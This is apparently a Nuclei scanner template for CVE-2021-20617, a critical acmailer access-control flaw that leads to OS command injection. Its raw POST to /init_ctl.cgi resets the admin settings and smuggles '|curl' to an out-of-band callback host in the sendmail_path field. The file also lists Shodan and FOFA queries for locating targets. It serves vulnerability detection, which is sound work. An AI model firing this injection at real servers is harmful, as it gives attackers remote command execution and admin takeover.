id: CVE-2021-20617

info:
  name: Acmailer - Improper Access Control to OS Command Injection
  author: daffainfo
  severity: critical
  description: |
    Improper access control vulnerability in acmailer ver. 4.0.1 and earlier, and acmailer DB ver. 1.1.3 and earlier allows remote attackers to execute an arbitrary OS command, or gain an administrative privilege which may result in obtaining the sensitive information on the server via unspecified vectors.
  impact: |
    Attackers can execute arbitrary OS commands or escalate privileges, potentially leading to full system compromise and sensitive data exposure.
  remediation: |
    Update to the latest version of acmailer and acmailer DB to address the issue.
  reference:
    - https://starlabs.sg/blog/2023/02-dissecting-the-vulnerabilities-a-comprehensive-teardown-of-acmailer/
    - https://www.acmailer.jp/info/de.cgi?id=101
    - https://jvn.jp/en/jp/JVN35906450/index.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20617
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-20617
    epss-score: 0.07871
    epss-percentile: 0.93945
    cwe-id: NVD-CWE-Other
    cpe: cpe:2.3:a:acmailer:acmailer:*:*:*:*:*:*:*:*,cpe:2.3:a:acmailer:acmailer_db:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: acmailer
    product: acmailer,acmailer_db
    shodan-query: title="ACMAILER4.0"
    fofa-query: title="ACMAILER4.0"
  tags: cve,cve2021,acmailer,rce,vkev,oast,oob

variables:
  admin_name: "{{randbase(5)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"

http:
  - raw:
      - |
        POST /init_ctl.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        admin_name={{admin_name}}&admin_email={{email}}&login_id=loginid&login_pass=loginpw&sendmail_path=|curl http://{{interactsh-url}}&homeurl=http%3A%2F%2Fexample.com&mypath=env%2F

    matchers:
      - type: dsl
        dsl:
          - "contains(interactsh_request, 'User-Agent: curl')"
          - "contains(interactsh_protocol, 'http')"
          - contains(body, "<a href=\"index.cgi\">")
          - 'status_code == 302'
        condition: and
# digest: 4a0a00473045022019661ec44b31ebd5bdb12de28a008301130f5dafaa9e3fed592e32b4a0c97840022100ff7983f71d898cd878f223bad19a7bad64626b83e3c4cd160f4a4a722e936f93:922c64590222798bb761d5b6d8e72950